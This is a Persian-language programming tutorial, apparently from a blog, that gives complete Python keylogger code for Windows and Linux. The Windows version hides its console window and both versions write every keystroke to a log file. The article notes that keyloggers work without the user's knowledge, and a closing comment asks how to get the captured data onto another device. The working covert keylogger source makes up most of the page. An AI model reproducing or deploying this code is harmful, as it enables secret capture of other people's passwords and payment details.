ساخت کی لاگر در پایتون — راهنمای کاربردی
در این مطلب، چگونگی ساخت کی لاگر در پایتون آموزش داده شده است. «کیلاگر» (Keylogger) به نرمافزاری گفته میشود که کلیدهای فشرده شده روی صفحه کلید را ذخیره میکند. به این کار، «ثبت صفحه کلید» (Keyboard Capturing) نیز گفته میشود. کیلاگرها معمولا کار خود را به صورت پنهانی انجام میدهند و فردی که با کامپیوتر کار میکند، از اینکه یک کیلاگر در حال ذخیرهسازی کلیدهای فشرده شده توسط او است، خبر ندارد.
این برنامههای کامپیوتری برای کار روی نرمافزارهای کامپیوتر هدف طراحی شدهاند. کیلاگرها در واحدهای IT سازمانها برای خطایای مسائل فنی درون کامپیوترها و همچنین، در شبکهها استفاده میشوند. خانوادهها و کسب و کارها از کیلاگرها به صورت قانونی برای نظارت بر استفاده از شبکه بدون اطلاع مستقیم کاربرها بهره میبرند. اگرچه، افراد مخرب میتوانند از کیلاگرها روی کامپیوترهای عمومی برای سرقت گذرواژهها یا اطلاعات کارتهای اعتباری استفاده میکنند. به طور کلی، کیلاگرها را میتوان برای مقاصد خوب و یا بد استفاده کرد. در اینجا، هدف از بیان روش ساخت کی لاگر در پایتون، استفاده از آن برای اهداف مثبتی مانند خطایابی و چنین مواردی است؛ بدیهی است عواقب هر گونه استفاده دیگر از این مطلب بر عهده کاربر بوده و مجله فرادرس در قبال آن مسئولیتی را نمیپذیرد. در این مطلب، چگونگی ساخت کی لاگر در پایتون برای سیستم عاملهای ویندوز و لینوکس بیان شده است. برای این کار باید کتابخانههای پایتون زیر را دانلود کرد.
ساخت کی لاگر در پایتون برای سیستمعامل ویندوز
در ادامه، کد لازم برای ساخت کیلاگر در پایتون برای سیستمعامل ویندوز ارائه شده است.
1# Python code for keylogger
2# to be used in windows
3import win32api
4import win32console
5import win32gui
6import pythoncom, pyHook
7
8win = win32console.GetConsoleWindow()
9win32gui.ShowWindow(win, 0)
10
11def OnKeyboardEvent(event):
12 if event.Ascii==5:
13 _exit(1)
14 if event.Ascii !=0 or 8:
15 #open output.txt to read current keystrokes
16 f = open('c:\output.txt', 'r+')
17 buffer = f.read()
18 f.close()
19 # open output.txt to write current + new keystrokes
20 f = open('c:\output.txt', 'w')
21 keylogs = chr(event.Ascii)
22 if event.Ascii == 13:
23 keylogs = '/n'
24 buffer += keylogs
25 f.write(buffer)
26 f.close()
27# create a hook manager object
28hm = pyHook.HookManager()
29hm.KeyDown = OnKeyboardEvent
30# set the hook
31hm.HookKeyboard()
32# wait forever
33pythoncom.PumpMessages()
اکنون، باید فایل در ویندوز، در مسیر C:\ و با عنوان Keylogger.py ذخیره و پس از آن، فایل پایتون اجرا شود. خروجی قطعه کد بالا، به این صورت است که کیلاگر در پسزمینه شروع به کار میکند و همه دادهها را روی فایل لوگ «“c:\output.txt» ذخیره میکند.
ساخت کی لاگر در پایتون برای سیستمعامل لینوکس
pyxhook نیازمند آن است که python-xlib نصب شده باشد.
در صورتی که این مورد روی سیستم کاربر نصب نباشد، باید آن را با استفاده از دستور زیر نصب کرد.
1sudo apt-get install python-xlib
کتابخانه pyxhook را میتوان از اینجا [+] دانلود کرد.
1# Python code for keylogger
2# to be used in linux
3import os
4import pyxhook
5
6# This tells the keylogger where the log file will go.
7# You can set the file path as an environment variable ('pylogger_file'),
8# or use the default ~/Desktop/file.log
9log_file = os.environ.get(
10 'pylogger_file',
11 os.path.expanduser('~/Desktop/file.log')
12)
13# Allow setting the cancel key from environment args, Default: `
14cancel_key = ord(
15 os.environ.get(
16 'pylogger_cancel',
17 '`'
18 )[0]
19)
20
21# Allow clearing the log file on start, if pylogger_clean is defined.
22if os.environ.get('pylogger_clean', None) is not None:
23 try:
24 os.remove(log_file)
25 except EnvironmentError:
26 # File does not exist, or no permissions.
27 pass
28
29#creating key pressing event and saving it into log file
30def OnKeyPress(event):
31 with open(log_file, 'a') as f:
32 f.write('{}\n'.format(event.Key))
33
34# create a hook manager object
35new_hook = pyxhook.HookManager()
36new_hook.KeyDown = OnKeyPress
37# set the hook
38new_hook.HookKeyboard()
39try:
40 new_hook.start() # start the hook
41except KeyboardInterrupt:
42 # User cancelled from command line.
43 pass
44except Exception as ex:
45 # Write exceptions to the log file, for analysis later.
46 msg = 'Error while catching events:\n {}'.format(ex)
47 pyxhook.print_err(msg)
48 with open(log_file, 'a') as f:
49 f.write('\n{}'.format(msg))
خروجی قطعه کد بالا به این صورت است که کیلاگر در پسزمینه شروع به فعالیت و همه دادهها را در فایل file.log در مسیر /home/akash/Desktop ذخیره میکند. البته، نام کاربری (که در اینجا aksh است) برای سیستمهای مختلف متفاوت است و هر فردی، باید آدرس پوشه کاری خودش را در کد وارد کند.
اگر نوشته بالا برای شما مفید بوده است، آموزشهای زیر نیز به شما پیشنهاد میشوند:
- مجموعه آموزشهای برنامهنویسی پایتون
- آموزش تکمیلی برنامهنویسی پایتون
- مجموعه آموزشهای دادهکاوی و یادگیری ماشین
- زبان برنامهنویسی پایتون (Python) — از صفر تا صد
- یادگیری علم داده (Data Science) با پایتون — از صفر تا صد
- آموزش پایتون (Python) — مجموعه مقالات جامع وبلاگ فرادرس
^^
سلام
چجوری میشه به اشتراک گذاشت مثلا تو گوشی کار کنه به لپ تاپ من انتقال پیدا کنه
با استفاده از فریم ورکی به اسم pyinstaller